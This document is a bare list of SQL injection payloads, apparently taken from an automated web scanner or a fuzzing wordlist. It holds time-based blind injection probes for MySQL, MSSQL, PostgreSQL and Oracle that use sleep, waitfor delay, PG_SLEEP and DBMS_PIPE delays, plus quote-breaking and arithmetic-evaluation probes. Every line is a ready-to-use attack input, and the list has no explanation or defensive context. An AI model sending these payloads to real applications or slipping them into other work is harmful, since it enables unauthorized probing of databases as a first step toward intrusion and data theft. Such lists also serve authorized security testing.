20*if(now()=sysdate(),sleep(15),0)

200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

20-1; waitfor delay '0:0:15' --

20-1); waitfor delay '0:0:15' --

20-1 waitfor delay '0:0:15' --

20VBznFtHW'; waitfor delay '0:0:15' --

20-1 OR 718=(SELECT 718 FROM PG_SLEEP(15))--

20-1) OR 225=(SELECT 225 FROM PG_SLEEP(15))--

20-1)) OR 259=(SELECT 259 FROM PG_SLEEP(15))--

20FPfONAaI' OR 533=(SELECT 533 FROM PG_SLEEP(15))--

20kVS6dRxL') OR 741=(SELECT 741 FROM PG_SLEEP(15))--

20dSl5mGuF')) OR 80=(SELECT 80 FROM PG_SLEEP(15))--

20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

20'"

(select 198766*667891)

(select 198766*667891 from DUAL)